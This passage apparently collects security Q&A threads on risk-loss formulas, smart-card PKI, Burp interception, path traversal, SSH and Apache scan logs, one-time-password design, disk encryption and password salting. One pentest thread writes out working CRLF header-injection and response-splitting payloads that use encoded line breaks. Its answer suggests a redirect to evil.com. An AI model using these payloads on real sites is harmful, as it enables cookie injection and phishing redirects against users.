Resultant EF to bank account balance: 0.0

For most other risks, one has to assess the vulnerability, the threat, and any vulnerability mitigators to decide upon an estimated EF.  If one does not have a lot of real observed data to base the EF depending upon the risk, then these individual SLEs can be wildly out-of-line.  When rolled up into aggregate Annualized Loss Expectancies, it could have a very large margin of error due to all the poorly estimated individual EFs.

However using the banking industry as an example, for a bank that has been in-operation for many years, they have detailed historical loss data (including cyber-related losses).  A bank can actually calculate these values (EF, SLE, ARO, ALE) quite accurately for their history-to-date, and then use them for predictions of future losses.

Also, given that detailed loss history, banks can do relatively accurate what-if cost-vs-benefit analysis of implementing new mitigators (such as two-factor authentication).

Determine the total-cost estimate to implement and deploy that
mitigator.
Calculate the aggregate ALE given current EFs over a time
period (say 10 years).
Tweak any EFs that the mitigator affects.
Calculate the new aggregate ALE over that same time period
Calculate the difference between the new aggregate ALE and the current aggregate ALE (which is the
hoped for benefit in that the new ALE ideally be smaller than the
current ALE)
If the benefit (loss reduction) is greater than the total-cost to
implement, then do so; if the benefit (loss reduction) is significantly less than the
total-cost to implement, then cost-vs-benefit analysis would recommend to not implement the mitigator.


Can a smart card with PKI certificate be used to protect a document? I want to use a smart card (or USB cryptotoken) with a PKI certificate for manual authorisation. Is this possible?

I want to put a file (e.g. a word file or even a simple text file) into a smart card. I also want to put a PKI certificate into the smart card. I issue this smart card to a user. The text file or word document spells out the rights of the user. The user hands the card to someone who can get the file from the smart card and read it. The person to whom he has handed the smartcard has my (issuer's) certificate in his trust store, so the person can verify if this certificate is to be trusted or not. Is this trust transferable? i.e. can the person assume that the document has also come from me & is not tampered?

EDIT: Alternately, can I use some field in the cert itself to put text information - this makes sure that the data cannot be tampered. Is there any field in a X.509 cert where, say, 10 lines of text info can be added when generating the cert?

You are trying to do authorization with a physical device meant for authentication. This rarely works well.

A smart card is used to authenticate the user, in that it contains a private key which remains under exclusive use of the owner. The certificate is a method by which the link between the public key and the owner's identity are distributed; it is signed by a CA so that the physical medium by which this link information is transferred does not matter; and, in practice, the certificate is also stored on the card because the certificate is most useful when the card is used, so that's a nice emplacement. However, the certificate could also be distributed through some other means, e.g. a big public LDAP server (historically, X.509 certificates were designed to be distributed that way).

None of that tells anybody what a key owner is allowed to do; it only gives some guarantee about the identity of that person (not "what", but "who").

In a given system, once you have ascertained the identity of the requester (that's the authentication part), you have to decide whether the received request should be granted. That second part is called authorization. The really important points here are the following:

Authorization information must be amenable to quick modifications, with a shorter granularity than the typical hours of latency of certificate revocation.
Authorization information is not necessarily defined by the same people/entities who verify identities; i.e., the job of the CA does not naturally include rights management.
Authorization information is sometimes negative so a key owner might not necessarily be trusted for transporting the information which qualifies himself (because the key owner may omit a "rights file" which pinpoints him as an undesirable individual).

For these reasons, what you are trying to do looks like a bad idea. However, being bad never prevented an idea from being standardized. I never saw a situation where "attribute certificates" were really put to good use, though.

On a more incidental plane, usual smart cards cannot embed a lot of public data. A 2 kB certificate is OK, but a 300 kB Word file won't fit.


File upload security with PHP - Header to text/plain I am using PHP to create a small script that uploads images to a server.

While going through the PHP documentation, I found a contribution from user CertaiN that gives a very clear example of how this script should look like: CertaiN's contribution. The code is, overall, very well explained, but the very first line of the script has no comment or explanation:

header('Content-Type: text/plain; charset=utf-8');

I browsed the internet and found no explanation for this command. My question is, therefore, the following: what is the exact purpose of this line in the protections against malicious uploads? Or is it completely unrelated to the rest of the script?

That line does not impact file upload security, it only sets the HTTP response mime type.

The reasoning I can see for the author using text/plain instead of text/html is simply that this script does not contain any actual HTML in the possible response messages.

Although the possible responses in this particular script do not echo any user input that I can tell, using text/plain as the response type instead of text/html would help to mitigate XSS in the page response, which could be possibly triggered via a combination with a CSRF attack from another site if the page did output anything using user input. This script does not protect against CSRF attacks.

Side note: this script does not actually validate that the files are valid images (mime checking is not sufficient). See the relevant Stack Overflow discussion EDIT: Actually, the script does an ok job at that.

You can use text/html if you want, just be careful with user supplied information.


PCI Compliance relating to 'other' passwords I see PCI compliance related only to password security, as far as storage and transmission goes, for user names and email accounts. How does this relate to passwords for programs that run on a PCI compliant machine? For instance: Someone transmitting plain text passwords from a configuration file in an email.

Is this considered a violation of PCI compliance?

PCI-DSS requirement 8.4

  Render all passwords unreadable during transmission and storage on all
  system components using strong cryptography.

If it's strictly sending passwords for configuration files, you should send them in an encrypted form through email. The best way would be by using PGP/GPG.


Why can I see the Basic Auth credentials in plaintext when using SSL I just read this about the security about Basic Authentication over SSL: Is BASIC-Auth secure if done over HTTPS?

And I don't get it. I just installed ProxyDroid (http proxy) on my rooted android device, and started up BlurpSuite on my Ubuntu Machine.

The first request I saw was some Exchange ActiveSync call to a corporate Server via SSL.

In this request, BurpSuite, on my Ubuntu Machine, presented me the fully readable and unencrypted headers, including the base64 encoded credentials.

Also this thread clearly states the headers should be also encrypted: https://stackoverflow.com/questions/187655/are-https-headers-encrypted

How's this possible? Do I overlook something?

What worries me that I assumed that SSL avoids trickery by man-in-the-middle attacks, but this doesn't seem to apply here.

Man-in-the-middle attacks are prevented on SSL secured channels by using host certificates signed by trusted third parties (Certificate Authorities). Burp Suite can generate certificates for arbitrary hostnames but can't have them signed. If you connect to a HTTPS site via a standard browser through Burp you will see a warning window, telling you that the identity of the remote host can not be verified. If you ignore the warning Burp will intercept and decrypt all the traffic (including headers) for you.

In your case it seems like one of the apps on your Android device accept untrusted certificates generated by Burp:

Exchange ActiveSync may simply ignore the fact that it connects to a host with forged certificate
ProxyDroid may provide an HTTP interface for ActiveSync and ignore the server certificate
ProxyDroid may have installed its own CA certificate to your device and provide an HTTPS interface for ActiveSync.

So in summary SSL can protect you from MitM attacks only if your applications actualy verify the digital certificates of the remote hosts they connect to.


Danger of Path Traversal Attacks I have setup a test application in Linux. I havent checked for paths in it, so if user enter /etc/passwd , then that file gets displayed to him.

However, I want to understand what more can be done if my website is prone to path traversal attack.
How can someone get root access ? If at all, its possible if vulnerability for path traversal exists.

The question you're effectively asking is what are the dangers of allowing every file on my server to be readable by anyone?

This has a few serious implications, the attacker could:

View stored passwords - if, for example, you run wordpress the attacker could easily gain access to your username and password for your database server (e.g. wp-config.php)
Gain information that could be used in further attacks - /etc/passwd may only contain usernames but that could be enough to start a brute force attack. Log files could also be read giving addresses of the user. Encrypted password files could be bruteforced offline.
Read private information - if your website consists intellectual property (i.e. source code, e-mails) this could be easily read by the attacker.

Basically whilst your attacker hasn't technically gained root access they have gained access to a wealth of data. This data could either be used in other attacks or (depending upon the aims of the attacker) could be enough.

There are almost certainly situations there where this vulnerability would be as bad as the attacker gaining root access. The security priority for a server may be for it to not reveal the system's source code, if this vulnerability were present then for those cases the worst possible attack has occurred.


White list or black list sanitation for international input? There seem to be so many ways to create nefarious input that white-listing what input is good usually feels like the safer, simpler option.

For instance, one can fairly easily craft a white list regex that includes good things [a-zA-Z0-9], but this seems to fall apart quickly when considering international content.  To clarify, the simple sample regex above would keep valid English alphabet words, but would strip out, for example, valid Spanish letters with diacritics or Chinese characters.

Is there a best practice for this type of international input validation?

That's why the character class [[:alnum:]] exists; it includes the characters which are considered valid alphanumerics in the currently active locale.  Of course, that doesn't work well on a web server in the US when someone in Egypt is attempting to provide input through a form - and it doesn't work with punctuation.  But it also doesn't include spaces, and that may be completely irrelevant.

---Edit---
Building on Mark's answer below and using http://www.regular-expressions.info/unicode.html as a reference, one could also use [\p{L}\p{N}] instead of the alnum character class in most common regexp implementations to recognize "all" unicode letters/numbers in all locales known to the regex engine in use.  The choice basically comes down to whether the application doing the comparison knows what locale the input comes from or not.  And, of course, whether the input is expected to be letters and numbers, or something else (proper names sometimes contain punctuation, for example). :)
---Edit---

To more directly answer the question - yes, a whitelist is always preferable.  It's not always practical, though.  Only someone familiar with the specific application can make the call as to what's actually practical.


Looking for resources for interpreting my security logs I am currently setting up an Apache web server on a Linux machine at my house.  I am working on a website project which will allow users to log in to complete certain work.  There is no open registration on this website.  Accounts must be issued by the administrator (which is currently me).

Since I have this server set up, I also want to make sure that I have it secure, to the best of my abilities.  My knowledge is relatively limited in regards to cutting edge security.

I have some Linux packages installed to monitor and actively block suspicious connections.

I am looking through my logs, but I'm not entirely sure that I understand all that I am reading. I have iptables and fail2ban.  I have approximately three pages of log entries every hour similar to those examples below.  From this information given, does it appear that I have my security set up properly?  The entry which concerns me is the ones which contain com.jcraft.jsch.JSchException, which is a known java exploit.

To be honest, I'm not even sure if I am asking the right questions.  I am willing learn.  I simply need guidance and the resources from which to learn.  I can handle constructive criticism.

Here are a couple of examples of the types of entries I am seeing.

Apr 10 10:02:10 gcems sshd[29230]: Unable to negotiate with 103.79.143.42 port 52068: no
+matching key exchange method found. Their offer: diffie-hellman-group1-sha1 [preauth]
Apr 10 10:03:08 gcems sshd[29398]: Did not receive identification string from
+212.83.140.166 port 46529
Apr 10 10:03:43 gcems sshd[29548]: Invalid user support from 163.172.114.203 port 54291
Apr 10 10:03:45 gcems sshd[29548]: error: Received disconnect from 163.172.114.203 port
+54291:3: com.jcraft.jsch.JSchException: Auth fail [preauth]
Apr 10 10:03:45 gcems sshd[29548]: Disconnected from 163.172.114.203 port 54291 [preauth]

The only thing that you can do is to dive into the log and for every record see what that means and what the implications are. That is hard work. I know, and you will expand your security knowledge.

The records that you show, show failures. Though annoying, failures, in general, are not a problem. They indicate that your security measures have worked. You may with firewall rules (or iptables, or router ACLs, or...) deny access to specifiche main po subnets if they become really annoying.

You must also look at the successful connections attempts. Are they logical? Did I expect a connection from this type from this subnet/address?

You should create some base-line of what kind of connections you expect. And you should decide on how bad  it is if someone strange gets access to resources, i.e. do a risk analysis, even for a simple home based site.

The log records that you show indicate that you have an ssh server open. Unless you do regular remote administration this is a bad idea. Even when you do remote administration, consider using OpenVPN.

With an open ssh port, you will see a lot of connection attempts. In this case, 103.79.143.42 was not able to do a key exchange, and 163.172.114.203 tried to log in as the user support, but was unable to authenticate himself correctly. In my experience (ssh server on a home connection on the Internet), you should see failed login attempts on ssh at least 10 times per hour, on average. Higher if your website is a bit more high profile.

You must also look at your Apache access logs. There, you will see some standard URLs that every script-kiddie knows roll by, in my experience multiple times per hour (for a home-website). That will be things like:

118.89.38.35 - - [03/Mar/2019:08:09:53 +0000] "GET /s/index.php HTTP/1.1" 404 442 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
118.89.38.35 - - [03/Mar/2019:08:09:53 +0000] "GET /MyAdmin/index.php HTTP/1.1" 404 442 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
118.89.38.35 - - [03/Mar/2019:08:09:54 +0000] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 442 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
118.89.38.35 - - [03/Mar/2019:08:09:54 +0000] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 442 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
118.89.38.35 - - [03/Mar/2019:08:09:56 +0000] "GET /pwd/index.php HTTP/1.1" 404 442 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
118.89.38.35 - - [03/Mar/2019:08:09:57 +0000] "GET /phpMyAdmina/index.php HTTP/1.1" 404 442 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
118.89.38.35 - - [03/Mar/2019:08:09:57 +0000] "GET /phpMydmin/index.php HTTP/1.1" 404 442 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
118.89.38.35 - - [03/Mar/2019:08:09:57 +0000] "GET /phpMyAdmins/index.php HTTP/1.1" 404 442 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
118.89.38.35 - - [03/Mar/2019:08:09:58 +0000] "GET /program/index.php HTTP/1.1" 404 442 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"

404 in this case means that the page is not found.


Securing an appliance Scenario:

We are in the position to offer a local appliance to run a version of our proprietary software, which is normally provided as SaaS.

Question:

What steps can be taken to mitigate trivial reverse-engineering in an untrusted environment, where they will have physical access to the box?

Clearly, it's 100% impossible to fully prevent IP leaks, as physical access is total access.

That said, what technical techniques could be applied to make reverse-engineering difficult/unfeasible?

Edit, for details:

The project is international, so legally limited
Network access is available, so perhaps a plan could be:  Store applications on an encrypted filesystem, require a connection to one of our servers to retrieve the key for decryption, or something like that - anyone have any experience / insight?

Hardware security tokens as mentioned can provide some security against piracy.

Not knowing what your software is, or what it does, it's hard to know what solutions could work.  Are you putting the box on-site because it is more efficient?  Are you putting the box on site so that the customer can administer it themselves?  Is it because the customer is running it on an isolated network?

Many enterprise grade solutions use strict license agreements and cryptographicaly secure software keys with the name of the purchasing enterprise and the date of expiry clearly in them.  It means that even employees who steal code only have limited use of it as the origin and time limits on its usage are clear.

But all this does little to nothing to protect against reverse-engineering.

Code obfuscators and obfuscating compilers might help you a bit.  Again, it depends on your application, your application team, etc.

Physical tamper-resistance might also help, but it limits your ability to support the physical hardware.  The payment card industry uses wire mesh inside some of their hardware with keys stored in volatile memory so that if the case is tampered with, important decryption keys are lost, rendering the device useless.  Similar techniques are applied to HSMs (Hardware Security Modules), which are effectively tamper-resistant vaults for storing important crypto-keys.

The whole game is risk management.  The expense of launching a lawsuit, the damage caused by a leak, the cost of securing the code, it all has to be weighed.  Few secrets are so important that they need to be protected at all costs.  The delay to market may cost you your time advantage, allowing a competitor to reach a comparable solution at a better price before you can get your locked down version out the door.


How to implement multi factor authentication using a token generator? I'd like to implement multi factor authentication on a few projects.

Now the first factor would be username and password, for the second factor I would like to use a token generator.

These tokens would be 6 characters long and generated by a device that the user carries (like a phone or special device)

But... I have no idea how a token generator works and how to implement it. (so I'm here to learn)

I would eventually like to build a phone app to do the token generation
and a website (php) where the use would login.

Can anyone please give me some pointers in the right direction on how these algorithms work?

There are a lot of existing ones, and they come with their own APIs. You can implement any algorithm you wish. See this site.

Drawing it up from scratch, for disconnected tokens you have a few options. They can be:

counter-based -- a new password with every press and the authenticating system doesn't allow anything at least as old as the last used password
time-based -- the algorithm factors in the current time and the server doesn't allow anything other than present, the minute before, and the next minute (or possibly a slightly wider window); requires good time sync

You need to seed an unpredictable sequence based algorithm with a secret shared value and either the time or your counter. hash(time . secret) or such. Using SHA-256 and chopping off some bits would be effective.

Strength comparisons:

RSA token -- 8 numeric digits, 108 (one in a hundred million)
six numeric digits, 106 (one in a million)
six alpha-numeric, 2.1x109 (one in 2 billion)
six alpha-numeric, with caps: 5.6x1010 (one in 56 billion)

See also:

OPIE Authentication System
S/Key


VPN Tunnel Routing Question I'm a little confused about how VPNs work ... I read that they provide an end-to-end encrypted tunnel between you and whoever you're trying to connect to but is that actually the case?

VPNs let you route through different countries right? - So is it an encrypted tunnel between you and the VPN service providers server ... then the connection gets decrypted and goes out in plain text? - Or does the connection route through the VPN server then to the destination still encrypted in it's tunnel?

[me in UK?] ----- [VPN server in USA?] ----- [cnn.com]

In the diagram above at what point does the request get decrypted? and does the request have the IP address of the VPN server or me? - Does the request leave the encrypted tunnel so the VPN server an read it ... then go back into the tunnel until it reaches CNN.com?

In the diagram above, the encryption exists between you and the VPN server. Past the VPN server it is no longer encrypted. A VPN is a way to send traffic over a public connection and still have a reasonable expectation of privacy. The typical use case for them is either protecting your privacy or thwarting geoIP based filtering.

However, like with any encryption you must negotiate the encryption scheme and keys. Thinking about it that way, for the VPN traffic to be encrypted further would require the website to be running VPN software and configuring it to connect with this VPN provider.


How can I secure the content of my Windows laptop in case it is stolen? I will be receiving a new Windows 10 Dell laptop tomorrow, that I will be using for work.  We are a small company, and don't have a central IT function.  I would like to secure the laptop such that no-one can access its contents if I lose it, or it's stolen.  I'm thinking of whole disk encryption or similar - what is the simplest way of going about this?

Windows 10 Home has Full Disk Encryption built in.
This is more than enough to protect your data from theft.
If you’re worried about the NSA, you may want to use a different encryption solution like VeraCrypt.

Win10 professional also has BitLocker built in, a more powerful encryption solution than de Home version default. But this sends your recovery keys to the microsoft server. Very convenient but maybe less private.


Security difference in wardriving open network versus monitoring traffic on a network to which I am authenticated I have been listening to the CBT nuggets on comptia security+ and there were a few sections on wireless security. A question that occurred to me was: if I am authorized to use a wireless network, and after authenticating myself I use something like wireshark or airopeek to sniff packets, how is this any different than just wardriving open wireless networks w/o authentication?

is it to say i could sit outside my work, auth for the wifi, and read data other people are sending the same way i could go driving around a neighborhood and read data on open wireless networks?

[...] if I am authorized to use a wireless network, and after authenticating myself I use something like wireshark or airopeek to sniff packets, how is this any different than just wardriving open wireless networks w/o authentication?

Wardriving generically refers to the activity of identifying accessible access points.  The term 'wardriving' is a play on the old 'war-dialing' techniques (amazingly, still worth investigating on a pen test). With war dialing you would systematically dial every extension in a given exchange, or subset, looking for numbers that provide a handshake response (modems). War driving is essentially just driving around with a laptop that has a good wifi card (see: Alpha :) looking for WAPs that are accessible. These activities are external to any single given network. At the point where you access a network you have gone beyond the scope of wardriving.

The other activity that you mention, packet capturing, is fundamentally different in that it is an internal activity and presumes a persistent level of access to the network.

To clarify through example, posit; you're driving down the street and your buddy is in the back seat with a laptop, a wifi nic, and a cantenna. As you drive down the street collecting ESSID information- you are wardriving. This is recon, in a pentest methodology. Once you identify a network to access, assessment, you are no longer war driving. Now you are evaluating a specific AP. Once you have accessed the network... LEGALLY, of course :), and run your packet capture software you are performing internal recon/analysis (AKA 'footprinting').

Yes, capturing a broadcast beacon packet is fundamentally the same as any other packet but the differences I point out are germaine in the context of the original post.

Best of luck.


Can you point out the flaws in the stated approach of adding a new device to an existing ssl certificates secured system? I'm trying to add new devices into a secure system. A secure system where a webserver is identified by custom CA and all clients individually are too. That is, every client connecting to the server has its own certificate. If am to add a new mobile device into the secure system, these would be the steps.

The app is installed by the user from the app store
Once app opens, the user sees a 16 length string (user doesn't have to login to see that). Prior to displaying it to the user, the string is sent to the webserver through websocket, hashed. The server stores this hashed string with ttl of 3 minutes.
The user logs into the webserver with his credentials (has permissions to add new device) and enters the 16 length string there. The webserver hashes it and compares the hash to the saved one.
The webserver replies back to the mobile app on the same websocket with a new certificate. The response is symmetric encrypted with the 16 length string.
This certificate is used for future interactions with the webserver, thereby needing no human intervention.

Is this not secure enough? What would be a more standard way of doing this?

You haven't given us a threat model, so I'll assume a standard corporate environment, and the value of the data being protected by this scheme is less that $1 million USD.

That scheme actually sounds fine to me. Bootstrapping device enrollment is always hard because you need some sort of device secret known to both the device and the server.

You say "app store" so I assume this is an Android / iOS device rather than an IoT device. Shame, cause with an IoT device you might be able to get it manufactured with a secret known to your database, or a default cert. Instead you're generating a secret and the length (16 string characters) is a balance of security and usability.

Some thoughts:

I hope your websocket to upload the hash is using TLS to make the hash harder to sniff (because, why not?)
Since an attacker would need to brute-force the hash and steal a username/password for an authorized account, you can get away with the secret not having a full 128 bits of entropy.
What's the largest character set you can use for the secret without causing usability issues? Probably UPPERS and numbers? Possibly UPPERS, lowers, and numbers? You'll have to exclude characters that look similar, 1/I/l, O/0, etc.
When you say "The response is symmetric encrypted with the 16 length string" how are you doing this? Are you running the 16 byte string through a key derivation function to make it into a full-sized AES-128/256 key? Is the websocket using TLS and the secret is using manual encryption inside it? Have you considered opening a new websocket at this point using TLS_PSK (pre-shared key) or PAKE (password authorized key exchange) modes?
When you say "The webserver replies back to the mobile app on the same websocket with a new certificate." Just the certificate, or also the private key? The correct way to do this would be to generate the private key on the device (ideally in the Android / iOS secure keystore if possible) and send the server a CSR in step 2, that way no private keys are ever sent over the network, period.


If the user agent contains information that could potentially be abused, why would every browser send it to every website? As far as I've seen, every browser I use have a long User-Agent HTTP header that is as detailed as that it contains specific browser versions (or can be used to accurately deduce browser version, sometimes a little more about the host environment).

Assume there's an either known or 0-day vulnerability of some specific environments that allows a web page to do something wacky, a web server could easily do so by checking the user agent string and send malicious code to only vulnerable clients.

I doubt it's hard to think of other exploits where the UA string plays an important role.

Given that, why would an average browser still send this information to whatever website you visit?

Originally the User-Agent was used to custom code for browser variants, the most common example being the way both HTML and Javascript was implented by Microsoft verses everyone else. Most of this has now been mostly standardized now, although I still occassionally encounter web interfaces that don't work correctly unless IE is used.

It's still used to adjust for things like mobile browsing in order to reformat pages to flow better for phones vice a big screen.

Unfortunately it's also misused in many ways. Microsoft web sites were notorious for sending non-IE browsers in circular link loops. Change the User-Agent in Firefox to say "IE" and suddenly the site worked properly.

User-Agent is also used for statistics, but the necessity of that is in the eye of the beholder. There are many plugins available to make User-Agent say anything, so I'm not sure how useful User-Agent is anymore.


How come  calls do not violate the Same Origin Policy? I'm a bit confused regarding the subject of Same Origin Policy (SOP). If I understand correctly, the purpose of the SOP is to prevent one page from obtaining access to sensitive data on another web page.

So for example, how come I can simply get a sensitive image from a different origin? That would violate the idea of the SOP.

This is considered acceptable because scripts are limited in interacting with cross origin images unless crossorigin="anonymous" is set, which tells the browser not to send cookies or other credentials when retrieving the image. Without setting crossorigin="anonymous" scripts are allowed to retrieve dimensions, but not pixel data from the image due to the tainted canvas.

This is fine in theory, although there have been side channel attacks in the past that leak pixel data.


How does Android 6 full encryption work ... when it doesn't ask for the password at start time? I am using an Samsung S7 edge; together with IBM Maas360; and I ran into a an interesting situation.

Prior last week, my S7 was running Android 6.

Android can be configured to ask for your password before the system starts. By default, the device will start the OS, and later on, when the OS is up and running ask first for PIN; then for your Android password.

Anyway, last week Maas360 recognized my device to have an "encryption status" of active.

Then I received the long awaited upgrade to Android 7. Everything works nicely ... but the next morning, upon restarting the device ... I realize at some point that I lost the Wifi certificates for my companies intranet. Why? Because now, Maas sees "encryption status" as unknown.

I then turned into the settings; and changed the device to ask for the password directly after start. I restart ... and as expected - I am asked for the password, and then there is this "unlock" icon indicating that my device gets "unlocked" during OS startup. Checking encryption status again; I now get active. (which will hopefully fix my Maas/wifi certificate problem)

But beyond that; I am pretty confused by now: why can Android 6 give me "encryption is active"; although the OS starts up without my password? How can it decrypt  all the encrypted data ... when it doesn't have my password?

( for the record: I used this app to actually check the encryption status of the device )

The method of encryption changed in Android 7 (Nougat).

In previous versions of Android, the OS used a simplistic full-disk encryption scheme, similar to that common for desktop and laptop computers. This required a password at boot to be able to access pretty much anything. A side effect was that the phone had to keep everything decrypted while the phone was locked, or else it couldn't do normal smartphone functions like receive push notifications.

This was a pretty major problem, so in Android 7 Google changed Android to use a more sophisticated (but still less sophisticated than iOS's) encryption system, in which files that are determined to be sensitive are individually encrypted. The effect you'll see as a user is that certain things will now work from a boot before you've given the OS the information necessary to derive your encryption key.


Does the current hashcat include CUDA? I've been using the old cudahashcat 2.x until I reinstalled my system. I realized I cann't find any newer release on cudahascat so I assume it is included in hashcat but when I look at their github it seems to be only the OpenCL is included. So my question being do I need to find cudahashcat mod somewhere or should I just use the official hashcat 4.x?

You should definitely just use the latest hashcat from hashcat.net. Note that CUDA is not included and downloaded separately.

There have been many changes and improvements since 'cudaHashcat' / 'oclHashcat' / 'hashcat' (CPU) were all merged into the new unified 'hashcat'.

All devices now require OpenCL - even CPU - and CUDA is completely gone.

[Update Jan 2020: CUDA support is returning in the upcoming 6.0.0 release of hashcat. One major benefit: you will have access to all available GPU memory - not just 1/4 of it! The CUDA driver itself is still a separate download from NVIDIA.]


Windows user: Is having many active TCP connections normal? Is this normal?  Can any ports be "dangerous"?

I have 9 tcp's in a listening state, 4 in a close_wait state, and 4 in an established state.

Some of them route to odd procceses using PID such as default tab.exe. A lot of them are from IObit in states: close_wait and established.

Something I am worried about is some of the PID aren't showing up in task manager, not sure if that is a product of it being my local address with like :135, 445, 554...etc... what does those numbers mean at the end?

Example would be : (local adress) 0.0.0.0:135 to foreign address 0.0.0.0 State is listening, PID is 940 but I can't find the PID so I'm not sure what proccess is causing it and that seems odd.

Ok, so now I actually know what TCP is but I'm still wondering why the PID is not showing up on task manager for some of the connections?

It can be perfectly normal but it can also be dangerous.  The :number after an IP address is the port number.  I would investigate the processes that own them.  Use something like SysInternal's Process Explorer and make sure to run it in admin mode to make sure you get all processes.  Sometimes processes can be nested within another and don't necessarily always show in the normal Task Manager.

If they are all processes that you know, then I wouldn't be worried.


How to inject XSS using Response Splitting in the following scenario? I have been pentesting for a company. I found a CRLF injection that could be done using %E5%98%8D%E5%98%8A instead of %0d%0a. So I'm using %E5%98%8D%E5%98%8A in redirection parameter for CR/LF. Here is the example of CR/LF.

POST /Login?redir=/%E5%98%8D%E5%98%8ASet-Cookie:%20Test=Test HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://example.com/Login?redir=/
Cookie: npii=bcguid/eeed476d1530a2afb4c108a1ff6c8a7858e8fd6d^tguid/eeed476d1530a2afb4c108a1ff6c8a7958e8fd6d^; guid=153f03aafcc.a787875.73837.ffffffff; lang=en-US
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

username=user@mail.com&password=passwd&submit=Sign+in

and the response is:

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Set-Cookie: epnAQABAAAAcL+4dNXREv5UlAUmnCm8pZjU5ZMGA8Hh7eOXJ59693k+u7Sj84BWjNVabZi9+tsOPv2StVHtoqFe+4yWHHz5HOPgghz5oyVfEcsQubE1j5XHZO6SAhQsZGCo7s+rkEx7tl+GTafUDd1zE9702PrSAmg=;Domain=.example.com;Expires=Fri, 08-Apr-2016 16:15:44 GMT;Path=/; Secure; HttpOnly
Set-Cookie: lang=en-US;Domain=.example.com;Expires=Wed, 07-Apr-2021 15:15:44 GMT;Path=/
Set-Cookie: ifl=y;Domain=.example.com;Path=/
Location: https://example.com/
Set-Cookie: Test=Test
Content-Length: 0
Date: Fri, 08 Apr 2016 15:15:43 GMT

But when I was trying to split the header using:

/%E5%98%8D%E5%98%8AContent-Length:%200%E5%98%8D%E5%98%8AContent-Type:%20text/html%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8AHTTP/1.1%20200%20OK%E5%98%8D%E5%98%8AContent-Type:%20text/html%E5%98%8D%E5%98%8AContent-Length:%2017%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A<html>Test</html>

The content from HTTP/1.1 200 OK treated as a HTML as showed in HTML.

As you see in above example I've used %E5%98%8D%E5%98%8A twice just before new response header and when I'm using %E5%98%8D%E5%98%8A once then it doesn't treated as a second response because here is the reason.

As you can see image 2, the value for HTTP/1.1 should be 200 OK but it doesn't split.

What should I try?

As this is a redirection page along with login credentials I'm unable to put content injection there. Currently I can do cookie injection. Is there a way to exploit other vulnerabilities such as XSS, content injection, or another attack?

You should try the scenario like this;

request
POST /Login?redir=/%E5%98%8D%E5%98%8ALocation:%20https:%2f%2fevil%2ecom HTTP/1.1
.
.
.

Maybe response will be like this;

response
HTTP/1.1 302 Moved Temporarily
.
.
.
Location: https://evil.com
.
.

Open Redirect Vuln. (https://cwe.mitre.org/data/definitions/601.html)


LastPass's use of client-side Salt The LastPass Team states the following in their FAQ:

  Do you use a salted hash for logging in?

  Yes, we first do a 'salt' of your LastPass password with your username on the client side (on
  your computer, LastPass never gets your password), then server side we
  pull a second 256 bit random hex-hash salt from the database, use that
  to make a salted hash which is compared to what's stored in the
  database.

Does anyone know if the part "we first do a 'salt' of your LastPass password with your username on the client side" is meant literally?

According to this answer it almost looks like this is the case:

From these details, my best guess is that the LastPass decryption key is calculated by:

DK = PBKDF2(HMAC-SHA256, password, email, <user set>, 256)

Since this appears to be Pseudocode I can only guess that the third argument for PBKDF2 is the salt.

I realize that the right thing to do would be to run email through PBKDF2 to make it more suitable as salt. This is of course where the cat chases its own tail which probably forced them use the email as salt in the first place.

I would interpret "we first do a salt of your LastPass password with your username on the client side" as: we do a PBKDF2 function on the client side that includes your password and username (email) as salt:

client_encryption_key = PBKDF2(HMAC-SHA256, password, salt_email, 5000, 256) // 5000 rounds, 256 bits
auth_key = sha256(client_encryption_key) // this is what is sent to the server for authentication
server_key = PBKDF2(HMAC-SHA256, auth_key, salt_random, 100000, 256) // this is what is stored in the auth db

Note that client key is also used to encrypt/decrypt your data.

Also to answer NH's comment about email as salt possibly not being suitable: salts are typically not considered secret. Their purpose is to ensure the resulting key is different for two identical passwords.


Any known risks with Elastic File System? I want to give some of my clients the ability to write files via SFTP, which later I can read from my main server.

Since I'm using EC2, to do so I simply opened an Elastic File System (EFS) and mounted it on two servers: on my main server, which is what I want to protect, and on a new micro server which I don't care about and is used to allow sftp via username and password. The micro server allow SSH connection without keys.

Now assuming the following:

I have nothing of importance on the micro server.
I never execute files that I read from the EFS on my main server, its only data files.
I don't care if different clients override each other's files.

Are there any threats I should worry about? Any possible known attacks?

For example lets say a malicious user somehow take over the micro server completely and have root privileges, can he somehow penetrate the main server via the EFS? Is there any secret data that amazon put on my instance that he can steal? (like my account id, keys, etc..)

If I mess up completely and someone takes over the micro sftp server - is my main server still safe?

It depends on the configuration of your network and servers.

If your main server doesn't have a route to the internet then you may be providing a bastion that can launch an attack from the micro to the main server. If the main server does have a public IP that doesn't apply.

I would put the two servers on different subnets, or perhaps even in separate VPCs. That would prevent the micro server attacking the main server - if you can't access, you can't attack. You'd want to make sure users who can log into the micro server don't have accounts on the main server - that means using different certificates.

I'd avoid giving the main server a public IP. Put it behind an Elastic Load Balancer (ELB), which as well as balancing load provides protection against many threats, including layer 4 and layer 7 attacks - including DDOS. You can use the AWS WAF for additional protection. ELB includes AWS Shield.

